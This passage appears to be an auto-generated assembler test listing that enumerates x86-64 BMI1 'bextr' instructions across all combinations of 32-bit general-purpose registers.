bextr edi, r10d, ebx
bextr edi, r10d, ecx
bextr edi, r10d, edx
bextr edi, r10d, edi
bextr edi, r10d, r8d
bextr edi, r10d, r9d
bextr edi, r10d, r10d
bextr edi, r10d, r11d
bextr edi, r10d, r12d
bextr edi, r10d, r13d
bextr edi, r10d, r14d
bextr edi, r10d, r15d
bextr edi, r10d, esp
bextr edi, r10d, esi
bextr edi, r10d, ebp
bextr edi, r11d, eax
bextr edi, r11d, ebx
bextr edi, r11d, ecx
bextr edi, r11d, edx
bextr edi, r11d, edi
bextr edi, r11d, r8d
bextr edi, r11d, r9d
bextr edi, r11d, r10d
bextr edi, r11d, r11d
bextr edi, r11d, r12d
bextr edi, r11d, r13d
bextr edi, r11d, r14d
bextr edi, r11d, r15d
bextr edi, r11d, esp
bextr edi, r11d, esi
bextr edi, r11d, ebp
bextr edi, r12d, eax
bextr edi, r12d, ebx
bextr edi, r12d, ecx
bextr edi, r12d, edx
bextr edi, r12d, edi
bextr edi, r12d, r8d
bextr edi, r12d, r9d
bextr edi, r12d, r10d
bextr edi, r12d, r11d
bextr edi, r12d, r12d
bextr edi, r12d, r13d
bextr edi, r12d, r14d
bextr edi, r12d, r15d
bextr edi, r12d, esp
bextr edi, r12d, esi
bextr edi, r12d, ebp
bextr edi, r13d, eax
bextr edi, r13d, ebx
bextr edi, r13d, ecx
bextr edi, r13d, edx
bextr edi, r13d, edi
bextr edi, r13d, r8d
bextr edi, r13d, r9d
bextr edi, r13d, r10d
bextr edi, r13d, r11d
bextr edi, r13d, r12d
bextr edi, r13d, r13d
bextr edi, r13d, r14d
bextr edi, r13d, r15d
bextr edi, r13d, esp
bextr edi, r13d, esi
bextr edi, r13d, ebp
bextr edi, r14d, eax
bextr edi, r14d, ebx
bextr edi, r14d, ecx
bextr edi, r14d, edx
bextr edi, r14d, edi
bextr edi, r14d, r8d
bextr edi, r14d, r9d
bextr edi, r14d, r10d
bextr edi, r14d, r11d
bextr edi, r14d, r12d
bextr edi, r14d, r13d
bextr edi, r14d, r14d
bextr edi, r14d, r15d
bextr edi, r14d, esp
bextr edi, r14d, esi
bextr edi, r14d, ebp
bextr edi, r15d, eax
bextr edi, r15d, ebx
bextr edi, r15d, ecx
bextr edi, r15d, edx
bextr edi, r15d, edi
bextr edi, r15d, r8d
bextr edi, r15d, r9d
bextr edi, r15d, r10d
bextr edi, r15d, r11d
bextr edi, r15d, r12d
bextr edi, r15d, r13d
bextr edi, r15d, r14d
bextr edi, r15d, r15d
bextr edi, r15d, esp
bextr edi, r15d, esi
bextr edi, r15d, ebp
bextr edi, esp, eax
bextr edi, esp, ebx
bextr edi, esp, ecx
bextr edi, esp, edx
bextr edi, esp, edi
bextr edi, esp, r8d
bextr edi, esp, r9d
bextr edi, esp, r10d
bextr edi, esp, r11d
bextr edi, esp, r12d
bextr edi, esp, r13d
bextr edi, esp, r14d
bextr edi, esp, r15d
bextr edi, esp, esp
bextr edi, esp, esi
bextr edi, esp, ebp
bextr edi, esi, eax
bextr edi, esi, ebx
bextr edi, esi, ecx
bextr edi, esi, edx
bextr edi, esi, edi
bextr edi, esi, r8d
bextr edi, esi, r9d
bextr edi, esi, r10d
bextr edi, esi, r11d
bextr edi, esi, r12d
bextr edi, esi, r13d
bextr edi, esi, r14d
bextr edi, esi, r15d
bextr edi, esi, esp
bextr edi, esi, esi
bextr edi, esi, ebp
bextr edi, ebp, eax
bextr edi, ebp, ebx
bextr edi, ebp, ecx
bextr edi, ebp, edx
bextr edi, ebp, edi
bextr edi, ebp, r8d
bextr edi, ebp, r9d
bextr edi, ebp, r10d
bextr edi, ebp, r11d
bextr edi, ebp, r12d
bextr edi, ebp, r13d
bextr edi, ebp, r14d
bextr edi, ebp, r15d
bextr edi, ebp, esp
bextr edi, ebp, esi
bextr edi, ebp, ebp
bextr r8d, eax, eax
bextr r8d, eax, ebx
bextr r8d, eax, ecx
bextr r8d, eax, edx
bextr r8d, eax, edi
bextr r8d, eax, r8d
bextr r8d, eax, r9d
bextr r8d, eax, r10d
bextr r8d, eax, r11d
bextr r8d, eax, r12d
bextr r8d, eax, r13d
bextr r8d, eax, r14d
bextr r8d, eax, r15d
bextr r8d, eax, esp
bextr r8d, eax, esi
bextr r8d, eax, ebp
bextr r8d, ebx, eax
bextr r8d, ebx, ebx
bextr r8d, ebx, ecx
bextr r8d, ebx, edx
bextr r8d, ebx, edi
bextr r8d, ebx, r8d
bextr r8d, ebx, r9d
bextr r8d, ebx, r10d
bextr r8d, ebx, r11d
bextr r8d, ebx, r12d
bextr r8d, ebx, r13d
bextr r8d, ebx, r14d
bextr r8d, ebx, r15d
bextr r8d, ebx, esp
bextr r8d, ebx, esi
bextr r8d, ebx, ebp
bextr r8d, ecx, eax
bextr r8d, ecx, ebx
bextr r8d, ecx, ecx
bextr r8d, ecx, edx
bextr r8d, ecx, edi
bextr r8d, ecx, r8d
bextr r8d, ecx, r9d
bextr r8d, ecx, r10d
bextr r8d, ecx, r11d
bextr r8d, ecx, r12d
bextr r8d, ecx, r13d
bextr r8d, ecx, r14d
bextr r8d, ecx, r15d
bextr r8d, ecx, esp
bextr r8d, ecx, esi
bextr r8d, ecx, ebp
bextr r8d, edx, eax
bextr r8d, edx, ebx
bextr r8d, edx, ecx
bextr r8d, edx, edx
bextr r8d, edx, edi
bextr r8d, edx, r8d
bextr r8d, edx, r9d
bextr r8d, edx, r10d
bextr r8d, edx, r11d
bextr r8d, edx, r12d
bextr r8d, edx, r13d
bextr r8d, edx, r14d
bextr r8d, edx, r15d
bextr r8d, edx, esp
bextr r8d, edx, esi
bextr r8d, edx, ebp
bextr r8d, edi, eax
bextr r8d, edi, ebx
bextr r8d, edi, ecx
bextr r8d, edi, edx
bextr r8d, edi, edi
bextr r8d, edi, r8d
bextr r8d, edi, r9d
bextr r8d, edi, r10d
bextr r8d, edi, r11d
bextr r8d, edi, r12d
bextr r8d, edi, r13d
bextr r8d, edi, r14d
bextr r8d, edi, r15d
bextr r8d, edi, esp
bextr r8d, edi, esi
bextr r8d, edi, ebp
bextr r8d, r8d, eax
bextr r8d, r8d, ebx
bextr r8d, r8d, ecx
bextr r8d, r8d, edx
bextr r8d, r8d, edi
bextr r8d, r8d, r8d
bextr r8d, r8d, r9d
bextr r8d, r8d, r10d
bextr r8d, r8d, r11d
bextr r8d, r8d, r12d
bextr r8d, r8d, r13d
bextr r8d, r8d, r14d
bextr r8d, r8d, r15d
bextr r8d, r8d, esp
bextr r8d, r8d, esi
bextr r8d, r8d, ebp
bextr r8d, r9d, eax
bextr r8d, r9d, ebx
bextr r8d, r9d, ecx
bextr r8d, r9d, edx
bextr r8d, r9d, edi
bextr r8d, r9d, r8d
bextr r8d, r9d, r9d
bextr r8d, r9d, r10d
bextr r8d, r9d, r11d
bextr r8d, r9d, r12d
bextr r8d, r9d, r13d
bextr r8d, r9d, r14d
bextr r8d, r9d, r15d
bextr r8d, r9d, esp
bextr r8d, r9d, esi
bextr r8d, r9d, ebp
bextr r8d, r10d, eax
bextr r8d, r10d, ebx
bextr r8d, r10d, ecx
bextr r8d, r10d, edx
bextr r8d, r10d, edi
bextr r8d, r10d, r8d
bextr r8d, r10d, r9d
bextr r8d, r10d, r10d
bextr r8d, r10d, r11d
bextr r8d, r10d, r12d
bextr r8d, r10d, r13d
bextr r8d, r10d, r14d
bextr r8d, r10d, r15d
bextr r8d, r10d, esp
bextr r8d, r10d, esi
bextr r8d, r10d, ebp
bextr r8d, r11d, eax
bextr r8d, r11d, ebx
bextr r8d, r11d, ecx
bextr r8d, r11d, edx
bextr r8d, r11d, edi
bextr r8d, r11d, r8d
bextr r8d, r11d, r9d
bextr r8d, r11d, r10d
bextr r8d, r11d, r11d
bextr r8d, r11d, r12d
bextr r8d, r11d, r13d
bextr r8d, r11d, r14d
bextr r8d, r11d, r15d
bextr r8d, r11d, esp
bextr r8d, r11d, esi
bextr r8d, r11d, ebp
bextr r8d, r12d, eax
bextr r8d, r12d, ebx
bextr r8d, r12d, ecx
bextr r8d, r12d, edx
bextr r8d, r12d, edi
bextr r8d, r12d, r8d
bextr r8d, r12d, r9d
bextr r8d, r12d, r10d
bextr r8d, r12d, r11d
bextr r8d, r12d, r12d
bextr r8d, r12d, r13d
bextr r8d, r12d, r14d
bextr r8d, r12d, r15d
bextr r8d, r12d, esp
bextr r8d, r12d, esi
bextr r8d, r12d, ebp
bextr r8d, r13d, eax
bextr r8d, r13d, ebx
bextr r8d, r13d, ecx
bextr r8d, r13d, edx
bextr r8d, r13d, edi
bextr r8d, r13d, r8d
bextr r8d, r13d, r9d
bextr r8d, r13d, r10d
bextr r8d, r13d, r11d
bextr r8d, r13d, r12d
bextr r8d, r13d, r13d
bextr r8d, r13d, r14d
bextr r8d, r13d, r15d
bextr r8d, r13d, esp
bextr r8d, r13d, esi
bextr r8d, r13d, ebp
bextr r8d, r14d, eax
bextr r8d, r14d, ebx
bextr r8d, r14d, ecx
bextr r8d, r14d, edx
bextr r8d, r14d, edi
bextr r8d, r14d, r8d
bextr r8d, r14d, r9d
bextr r8d, r14d, r10d
bextr r8d, r14d, r11d
bextr r8d, r14d, r12d
bextr r8d, r14d, r13d
bextr r8d, r14d, r14d
bextr r8d, r14d, r15d
bextr r8d, r14d, esp
bextr r8d, r14d, esi
bextr r8d, r14d, ebp
bextr r8d, r15d, eax
bextr r8d, r15d, ebx
bextr r8d, r15d, ecx
bextr r8d, r15d, edx
bextr r8d, r15d, edi
bextr r8d, r15d, r8d
bextr r8d, r15d, r9d
bextr r8d, r15d, r10d
bextr r8d, r15d, r11d
bextr r8d, r15d, r12d
bextr r8d, r15d, r13d
bextr r8d, r15d, r14d
bextr r8d, r15d, r15d
bextr r8d, r15d, esp
bextr r8d, r15d, esi
bextr r8d, r15d, ebp
bextr r8d, esp, eax
bextr r8d, esp, ebx
bextr r8d, esp, ecx
bextr r8d, esp, edx
bextr r8d, esp, edi
bextr r8d, esp, r8d
bextr r8d, esp, r9d
bextr r8d, esp, r10d
bextr r8d, esp, r11d
bextr r8d, esp, r12d
bextr r8d, esp, r13d
bextr r8d, esp, r14d
bextr r8d, esp, r15d
bextr r8d, esp, esp
bextr r8d, esp, esi
bextr r8d, esp, ebp
bextr r8d, esi, eax
bextr r8d, esi, ebx
bextr r8d, esi, ecx
bextr r8d, esi, edx
bextr r8d, esi, edi
bextr r8d, esi, r8d
bextr r8d, esi, r9d
bextr r8d, esi, r10d
bextr r8d, esi, r11d
bextr r8d, esi, r12d
bextr r8d, esi, r13d
bextr r8d, esi, r14d
bextr r8d, esi, r15d
bextr r8d, esi, esp
bextr r8d, esi, esi
bextr r8d, esi, ebp
bextr r8d, ebp, eax
bextr r8d, ebp, ebx
bextr r8d, ebp, ecx
bextr r8d, ebp, edx
bextr r8d, ebp, edi
bextr r8d, ebp, r8d
bextr r8d, ebp, r9d
bextr r8d, ebp, r10d
bextr r8d, ebp, r11d
bextr r8d, ebp, r12d
bextr r8d, ebp, r13d
bextr r8d, ebp, r14d
bextr r8d, ebp, r15d
bextr r8d, ebp, esp
bextr r8d, ebp, esi
bextr r8d, ebp, ebp
bextr r9d, eax, eax
bextr r9d, eax, ebx
bextr r9d, eax, ecx
bextr r9d, eax, edx
bextr r9d, eax, edi
bextr r9d, eax, r8d
bextr r9d, eax, r9d
bextr r9d, eax, r10d
bextr r9d, eax, r11d
bextr r9d, eax, r12d
bextr r9d, eax, r13d
bextr r9d, eax, r14d
bextr r9d, eax, r15d
bextr r9d, eax, esp
bextr r9d, eax, esi
bextr r9d, eax, ebp
bextr r9d, ebx, eax
bextr r9d, ebx, ebx
bextr r9d, ebx, ecx
bextr r9d, ebx, edx
bextr r9d, ebx, edi
bextr r9d, ebx, r8d
bextr r9d, ebx, r9d
bextr r9d, ebx, r10d
bextr r9d, ebx, r11d
bextr r9d, ebx, r12d
bextr r9d, ebx, r13d
bextr r9d, ebx, r14d
bextr r9d, ebx, r15d
bextr r9d, ebx, esp
bextr r9d, ebx, esi
bextr r9d, ebx, ebp
bextr r9d, ecx, eax
bextr r9d, ecx, ebx
bextr r9d, ecx, ecx
bextr r9d, ecx, edx
bextr r9d, ecx, edi
bextr r9d, ecx, r8d
bextr r9d, ecx, r9d
bextr r9d, ecx, r10d
bextr r9d, ecx, r11d
bextr r9d, ecx, r12d
bextr r9d, ecx, r13d
bextr r9d, ecx, r14d
bextr r9d, ecx, r15d
bextr r9d, ecx, esp
bextr r9d, ecx, esi
bextr r9d, ecx, ebp
bextr r9d, edx, eax
bextr r9d, edx, ebx
bextr r9d, edx, ecx
bextr r9d, edx, edx
bextr r9d, edx, edi
bextr r9d, edx, r8d
bextr r9d, edx, r9d
bextr r9d, edx, r10d
bextr r9d, edx, r11d
bextr r9d, edx, r12d
bextr r9d, edx, r13d
bextr r9d, edx, r14d
bextr r9d, edx, r15d
bextr r9d, edx, esp
bextr r9d, edx, esi
bextr r9d, edx, ebp
bextr r9d, edi, eax
bextr r9d, edi, ebx
bextr r9d, edi, ecx
bextr r9d, edi, edx
bextr r9d, edi, edi
bextr r9d, edi, r8d
bextr r9d, edi, r9d
bextr r9d, edi, r10d
bextr r9d, edi, r11d
bextr r9d, edi, r12d
bextr r9d, edi, r13d
bextr r9d, edi, r14d
bextr r9d, edi, r15d
bextr r9d, edi, esp
bextr r9d, edi, esi
bextr r9d, edi, ebp
bextr r9d, r8d, eax
bextr r9d, r8d, ebx
bextr r9d, r8d, ecx
bextr r9d, r8d, edx
bextr r9d, r8d, edi
bextr r9d, r8d, r8d
bextr r9d, r8d, r9d
bextr r9d, r8d, r10d
bextr r9d, r8d, r11d
bextr r9d, r8d, r12d
bextr r9d, r8d, r13d
bextr r9d, r8d, r14d
bextr r9d, r8d, r15d
bextr r9d, r8d, esp
bextr r9d, r8d, esi
bextr r9d, r8d, ebp
bextr r9d, r9d, eax
bextr r9d, r9d, ebx
bextr r9d, r9d, ecx
bextr r9d, r9d, edx
bextr r9d, r9d, edi
bextr r9d, r9d, r8d
bextr r9d, r9d, r9d
bextr r9d, r9d, r10d
bextr r9d, r9d, r11d
bextr r9d, r9d, r12d
bextr r9d, r9d, r13d
bextr r9d, r9d, r14d
bextr r9d, r9d, r15d
bextr r9d, r9d, esp
bextr r9d, r9d, esi
bextr r9d, r9d, ebp
bextr r9d, r10d, eax
bextr r9d, r10d, ebx
bextr r9d, r10d, ecx
bextr r9d, r10d, edx
bextr r9d, r10d, edi
bextr r9d, r10d, r8d
bextr r9d, r10d, r9d
bextr r9d, r10d, r10d
bextr r9d, r10d, r11d
bextr r9d, r10d, r12d
bextr r9d, r10d, r13d
bextr r9d, r10d, r14d
bextr r9d, r10d, r15d
bextr r9d, r10d, esp
bextr r9d, r10d, esi
bextr r9d, r10d, ebp
bextr r9d, r11d, eax
bextr r9d, r11d, ebx
bextr r9d, r11d, ecx
bextr r9d, r11d, edx
bextr r9d, r11d, edi
bextr r9d, r11d, r8d
bextr r9d, r11d, r9d
bextr r9d, r11d, r10d
bextr r9d, r11d, r11d
bextr r9d, r11d, r12d
bextr r9d, r11d, r13d
bextr r9d, r11d, r14d
bextr r9d, r11d, r15d
bextr r9d, r11d, esp
bextr r9d, r11d, esi
bextr r9d, r11d, ebp
bextr r9d, r12d, eax
bextr r9d, r12d, ebx
bextr r9d, r12d, ecx
bextr r9d, r12d, edx
bextr r9d, r12d, edi
bextr r9d, r12d, r8d
bextr r9d, r12d, r9d
bextr r9d, r12d, r10d
bextr r9d, r12d, r11d
bextr r9d, r12d, r12d
bextr r9d, r12d, r13d
bextr r9d, r12d, r14d
bextr r9d, r12d, r15d
bextr r9d, r12d, esp
bextr r9d, r12d, esi
bextr r9d, r12d, ebp
bextr r9d, r13d, eax
bextr r9d, r13d, ebx
bextr r9d, r13d, ecx
bextr r9d, r13d, edx
bextr r9d, r13d, edi
bextr r9d, r13d, r8d
bextr r9d, r13d, r9d
bextr r9d, r13d, r10d
bextr r9d, r13d, r11d
bextr r9d, r13d, r12d
bextr r9d, r13d, r13d
bextr r9d, r13d, r14d
bextr r9d, r13d, r15d
bextr r9d, r13d, esp
bextr r9d, r13d, esi
bextr r9d, r13d, ebp
bextr r9d, r14d, eax
bextr r9d, r14d, ebx
bextr r9d, r14d, ecx
bextr r9d, r14d, edx
bextr r9d, r14d, edi
bextr r9d, r14d, r8d
bextr r9d, r14d, r9d
bextr r9d, r14d, r10d
bextr r9d, r14d, r11d
bextr r9d, r14d, r12d
bextr r9d, r14d, r13d
bextr r9d, r14d, r14d
bextr r9d, r14d, r15d
bextr r9d, r14d, esp
bextr r9d, r14d, esi
bextr r9d, r14d, ebp
bextr r9d, r15d, eax
bextr r9d, r15d, ebx
bextr r9d, r15d, ecx
bextr r9d, r15d, edx
bextr r9d, r15d, edi
bextr r9d, r15d, r8d
bextr r9d, r15d, r9d
bextr r9d, r15d, r10d
bextr r9d, r15d, r11d
bextr r9d, r15d, r12d
bextr r9d, r15d, r13d
bextr r9d, r15d, r14d
bextr r9d, r15d, r15d
bextr r9d, r15d, esp
bextr r9d, r15d, esi
bextr r9d, r15d, ebp
bextr r9d, esp, eax
bextr r9d, esp, ebx
bextr r9d, esp, ecx
bextr r9d, esp, edx
bextr r9d, esp, edi
bextr r9d, esp, r8d
bextr r9d, esp, r9d
bextr r9d, esp, r10d
bextr r9d, esp, r11d
bextr r9d, esp, r12d
bextr r9d, esp, r13d
bextr r9d, esp, r14d
bextr r9d, esp, r15d
bextr r9d, esp, esp
bextr r9d, esp, esi
bextr r9d, esp, ebp
bextr r9d, esi, eax
bextr r9d, esi, ebx
bextr r9d, esi, ecx
bextr r9d, esi, edx
bextr r9d, esi, edi
bextr r9d, esi, r8d
bextr r9d, esi, r9d
bextr r9d, esi, r10d
bextr r9d, esi, r11d
bextr r9d, esi, r12d
bextr r9d, esi, r13d
bextr r9d, esi, r14d
bextr r9d, esi, r15d
bextr r9d, esi, esp
bextr r9d, esi, esi
bextr r9d, esi, ebp
bextr r9d, ebp, eax
bextr r9d, ebp, ebx
bextr r9d, ebp, ecx
bextr r9d, ebp, edx
bextr r9d, ebp, edi
bextr r9d, ebp, r8d
bextr r9d, ebp, r9d
bextr r9d, ebp, r10d
bextr r9d, ebp, r11d
bextr r9d, ebp, r12d
bextr r9d, ebp, r13d
bextr r9d, ebp, r14d
bextr r9d, ebp, r15d
bextr r9d, ebp, esp
bextr r9d, ebp, esi
bextr r9d, ebp, ebp
bextr r10d, eax, eax
bextr r10d, eax, ebx
bextr r10d, eax, ecx
bextr r10d, eax, edx
bextr r10d, eax, edi
bextr r10d, eax, r8d
bextr r10d, eax, r9d
bextr r10d, eax, r10d
bextr r10d, eax, r11d
bextr r10d, eax, r12d
bextr r10d, eax, r13d
bextr r10d, eax, r14d
bextr r10d, eax, r15d
bextr r10d, eax, esp
bextr r10d, eax, esi
bextr r10d, eax, ebp
bextr r10d, ebx, eax
bextr r10d, ebx, ebx
bextr r10d, ebx, ecx
bextr r10d, ebx, edx
bextr r10d, ebx, edi
bextr r10d, ebx, r8d
bextr r10d, ebx, r9d
bextr r10d, ebx, r10d
bextr r10d, ebx, r11d
bextr r10d, ebx, r12d
bextr r10d, ebx, r13d
bextr r10d, ebx, r14d
bextr r10d, ebx, r15d
bextr r10d, ebx, esp
bextr r10d, ebx, esi
bextr r10d, ebx, ebp
bextr r10d, ecx, eax
bextr r10d, ecx, ebx
bextr r10d, ecx, ecx
bextr r10d, ecx, edx
bextr r10d, ecx, edi
bextr r10d, ecx, r8d
bextr r10d, ecx, r9d
bextr r10d, ecx, r10d
bextr r10d, ecx, r11d
bextr r10d, ecx, r12d
bextr r10d, ecx, r13d
bextr r10d, ecx, r14d
bextr r10d, ecx, r15d
bextr r10d, ecx, esp
bextr r10d, ecx, esi
bextr r10d, ecx, ebp
bextr r10d, edx, eax
bextr r10d, edx, ebx
bextr r10d, edx, ecx
bextr r10d, edx, edx
bextr r10d, edx, edi
bextr r10d, edx, r8d
bextr r10d, edx, r9d
bextr r10d, edx, r10d
bextr r10d, edx, r11d
bextr r10d, edx, r12d
bextr r10d, edx, r13d
bextr r10d, edx, r14d
bextr r10d, edx, r15d
bextr r10d, edx, esp
bextr r10d, edx, esi
bextr r10d, edx, ebp
bextr r10d, edi, eax
bextr r10d, edi, ebx
bextr r10d, edi, ecx
bextr r10d, edi, edx
bextr r10d, edi, edi
bextr r10d, edi, r8d
bextr r10d, edi, r9d
bextr r10d, edi, r10d
bextr r10d, edi, r11d
bextr r10d, edi, r12d
bextr r10d, edi, r13d
bextr r10d, edi, r14d
bextr r10d, edi, r15d
bextr r10d, edi, esp
bextr r10d, edi, esi
bextr r10d, edi, ebp
bextr r10d, r8d, eax
bextr r10d, r8d, ebx
bextr r10d, r8d, ecx
bextr r10d, r8d, edx
bextr r10d, r8d, edi
bextr r10d, r8d, r8d
bextr r10d, r8d, r9d
bextr r10d, r8d, r10d
bextr r10d, r8d, r11d
bextr r10d, r8d, r12d
bextr r10d, r8d, r13d
bextr r10d, r8d, r14d
bextr r10d, r8d, r15d
bextr r10d, r8d, esp
bextr r10d, r8d, esi
bextr r10d, r8d, ebp
bextr r10d, r9d, eax
bextr r10d, r9d, ebx
bextr r10d, r9d, ecx
bextr r10d, r9d, edx
bextr r10d, r9d, edi
bextr r10d, r9d, r8d
bextr r10d, r9d, r9d
bextr r10d, r9d, r10d
bextr r10d, r9d, r11d
bextr r10d, r9d, r12d
bextr r10d, r9d, r13d
bextr r10d, r9d, r14d
bextr r10d, r9d, r15d
bextr r10d, r9d, esp
bextr r10d, r9d, esi
bextr r10d, r9d, ebp
bextr r10d, r10d, eax
bextr r10d, r10d, ebx
bextr r10d, r10d, ecx
bextr r10d, r10d, edx
bextr r10d, r10d, edi
bextr r10d, r10d, r8d
bextr r10d, r10d, r9d
bextr r10d, r10d, r10d
bextr r10d, r10d, r11d
bextr r10d, r10d, r12d
bextr r10d, r10d, r13d
bextr r10d, r10d, r14d
bextr r10d, r10d, r15d
bextr r10d, r10d, esp
bextr r10d, r10d, esi
bextr r10d, r10d, ebp
bextr r10d, r11d, eax
bextr r10d, r11d, ebx
bextr r10d, r11d, ecx
bextr r10d, r11d, edx
bextr r10d, r11d, edi
bextr r10d, r11d, r8d
bextr r10d, r11d, r9d
bextr r10d, r11d, r10d
bextr r10d, r11d, r11d
bextr r10d, r11d, r12d
bextr r10d, r11d, r13d
bextr r10d, r11d, r14d
bextr r10d, r11d, r15d
bextr r10d, r11d, esp
bextr r10d, r11d, esi
bextr r10d, r11d, ebp
bextr r10d, r12d, eax
bextr r10d, r12d, ebx
bextr r10d, r12d, ecx
bextr r10d, r12d, edx
bextr r10d, r12d, edi
bextr r10d, r12d, r8d
bextr r10d, r12d, r9d
bextr r10d, r12d, r10d
bextr r10d, r12d, r11d
bextr r10d, r12d, r12d
bextr r10d, r12d, r13d
bextr r10d, r12d, r14d
bextr r10d, r12d, r15d
bextr r10d, r12d, esp
bextr r10d, r12d, esi
bextr r10d, r12d, ebp
bextr r10d, r13d, eax
bextr r10d, r13d, ebx
bextr r10d, r13d, ecx
bextr r10d, r13d, edx
bextr r10d, r13d, edi
bextr r10d, r13d, r8d
bextr r10d, r13d, r9d
bextr r10d, r13d, r10d
bextr r10d, r13d, r11d
bextr r10d, r13d, r12d
bextr r10d, r13d, r13d
bextr r10d, r13d, r14d
bextr r10d, r13d, r15d
bextr r10d, r13d, esp
bextr r10d, r13d, esi
bextr r10d, r13d, ebp
bextr r10d, r14d, eax
bextr r10d, r14d, ebx
bextr r10d, r14d, ecx
bextr r10d, r14d, edx
bextr r10d, r14d, edi
bextr r10d, r14d, r8d
bextr r10d, r14d, r9d
bextr r10d, r14d, r10d
bextr r10d, r14d, r11d
bextr r10d, r14d, r12d
bextr r10d, r14d, r13d
bextr r10d, r14d, r14d
bextr r10d, r14d, r15d
bextr r10d, r14d, esp
bextr r10d, r14d, esi
bextr r10d, r14d, ebp
bextr r10d, r15d, eax
bextr r10d, r15d, ebx
bextr r10d, r15d, ecx
bextr r10d, r15d, edx
bextr r10d, r15d, edi
bextr r10d, r15d, r8d
bextr r10d, r15d, r9d
bextr r10d, r15d, r10d
bextr r10d, r15d, r11d
bextr r10d, r15d, r12d
bextr r10d, r15d, r13d
bextr r10d, r15d, r14d
bextr r10d, r15d, r15d
bextr r10d, r15d, esp
bextr r10d, r15d, esi
bextr r10d, r15d, ebp
bextr r10d, esp, eax
bextr r10d, esp, ebx
bextr r10d, esp, ecx
bextr r10d, esp, edx
bextr r10d, esp, edi
bextr r10d, esp, r8d
bextr r10d, esp, r9d
bextr r10d, esp, r10d
bextr r10d, esp, r11d
bextr r10d, esp, r12d
bextr r10d, esp, r13d
bextr r10d, esp, r14d
bextr r10d, esp, r15d
bextr r10d, esp, esp
bextr r10d, esp, esi
bextr r10d, esp, ebp
bextr r10d, esi, eax
bextr r10d, esi, ebx
bextr r10d, esi, ecx
bextr r10d, esi, edx
bextr r10d, esi, edi
bextr r10d, esi, r8d
bextr r10d, esi, r9d
bextr r10d, esi, r10d
bextr r10d, esi, r11d
bextr r10d, esi, r12d
bextr r10d, esi, r13d
bextr r10d, esi, r14d
bextr r10d, esi, r15d
bextr r10d, esi, esp
bextr r10d, esi, esi
bextr r10d, esi, ebp
bextr r10d, ebp, eax
bextr r10d, ebp, ebx
bextr r10d, ebp, ecx
bextr r10d, ebp, edx
bextr r10d, ebp, edi
bextr r10d, ebp, r8d
bextr r10d, ebp, r9d
bextr r10d, ebp, r10d
bextr r10d, ebp, r11d
bextr r10d, ebp, r12d
bextr r10d, ebp, r13d
bextr r10d, ebp, r14d
bextr r10d, ebp, r15d
bextr r10d, ebp, esp
bextr r10d, ebp, esi
bextr r10d, ebp, ebp
bextr r11d, eax, eax
bextr r11d, eax, ebx
bextr r11d, eax, ecx
bextr r11d, eax, edx
bextr r11d, eax, edi
bextr r11d, eax, r8d
bextr r11d, eax, r9d
bextr r11d, eax, r10d
bextr r11d, eax, r11d
bextr r11d, eax, r12d
bextr r11d, eax, r13d
bextr r11d, eax, r14d
bextr r11d, eax, r15d
bextr r11d, eax, esp
bextr r11d, eax, esi
bextr r11d, eax, ebp
bextr r11d, ebx, eax
bextr r11d, ebx, ebx
bextr r11d, ebx, ecx
bextr r11d, ebx, edx
bextr r11d, ebx, edi
bextr r11d, ebx, r8d
bextr r11d, ebx, r9d
bextr r11d, ebx, r10d
bextr r11d, ebx, r11d
bextr r11d, ebx, r12d
bextr r11d, ebx, r13d
bextr r11d, ebx, r14d
bextr r11d, ebx, r15d
bextr r11d, ebx, esp
bextr r11d, ebx, esi
bextr r11d, ebx, ebp
bextr r11d, ecx, eax
bextr r11d, ecx, ebx
bextr r11d, ecx, ecx
bextr r11d, ecx, edx
bextr r11d, ecx, edi
bextr r11d, ecx, r8d
bextr r11d, ecx, r9d
bextr r11d, ecx, r10d
bextr r11d, ecx, r11d
bextr r11d, ecx, r12d
bextr r11d, ecx, r13d
bextr r11d, ecx, r14d
bextr r11d, ecx, r15d
bextr r11d, ecx, esp
bextr r11d, ecx, esi
bextr r11d, ecx, ebp
bextr r11d, edx, eax
bextr r11d, edx, ebx
bextr r11d, edx, ecx
bextr r11d, edx, edx
bextr r11d, edx, edi
bextr r11d, edx, r8d
bextr r11d, edx, r9d
bextr r11d, edx, r10d
bextr r11d, edx, r11d
bextr r11d, edx, r12d
bextr r11d, edx, r13d
bextr r11d, edx, r14d
bextr r11d, edx, r15d
bextr r11d, edx, esp
bextr r11d, edx, esi
bextr r11d, edx, ebp
bextr r11d, edi, eax
bextr r11d, edi, ebx
bextr r11d, edi, ecx
bextr r11d, edi, edx
bextr r11d, edi, edi
bextr r11d, edi, r8d
bextr r11d, edi, r9d
bextr r11d, edi, r10d
bextr r11d, edi, r11d
bextr r11d, edi, r12d
bextr r11d, edi, r13d
bextr r11d, edi, r14d
bextr r11d, edi, r15d
bextr r11d, edi, esp
bextr r11d, edi, esi
bextr r11d, edi, ebp
bextr r11d, r8d, eax
bextr r11d, r8d, ebx
bextr r11d, r8d, ecx
bextr r11d, r8d, edx
bextr r11d, r8d, edi
bextr r11d, r8d, r8d
bextr r11d, r8d, r9d
bextr r11d, r8d, r10d
bextr r11d, r8d, r11d
bextr r11d, r8d, r12d
bextr r11d, r8d, r13d
bextr r11d, r8d, r14d
bextr r11d, r8d, r15d
bextr r11d, r8d, esp
bextr r11d, r8d, esi
bextr r11d, r8d, ebp
bextr r11d, r9d, eax
bextr r11d, r9d, ebx
bextr r11d, r9d, ecx
bextr r11d, r9d, edx
bextr r11d, r9d, edi
bextr r11d, r9d, r8d
bextr r11d, r9d, r9d
bextr r11d, r9d, r10d
bextr r11d, r9d, r11d
bextr r11d, r9d, r12d
bextr r11d, r9d, r13d
bextr r11d, r9d, r14d
bextr r11d, r9d, r15d
bextr r11d, r9d, esp
bextr r11d, r9d, esi
bextr r11d, r9d, ebp
bextr r11d, r10d, eax
bextr r11d, r10d, ebx
bextr r11d, r10d, ecx
bextr r11d, r10d, edx
bextr r11d, r10d, edi
bextr r11d, r10d, r8d
bextr r11d, r10d, r9d
bextr r11d, r10d, r10d
bextr r11d, r10d, r11d
bextr r11d, r10d, r12d
bextr r11d, r10d, r13d
bextr r11d, r10d, r14d
bextr r11d, r10d, r15d
bextr r11d, r10d, esp
bextr r11d, r10d, esi
bextr r11d, r10d, ebp
bextr r11d, r11d, eax
bextr r11d, r11d, ebx
bextr r11d, r11d, ecx
bextr r11d, r11d, edx
bextr r11d, r11d, edi
bextr r11d, r11d, r8d
bextr r11d, r11d, r9d
bextr r11d, r11d, r10d
bextr r11d, r11d, r11d
bextr r11d, r11d, r12d
bextr r11d, r11d, r13d
bextr r11d, r11d, r14d
bextr r11d, r11d, r15d
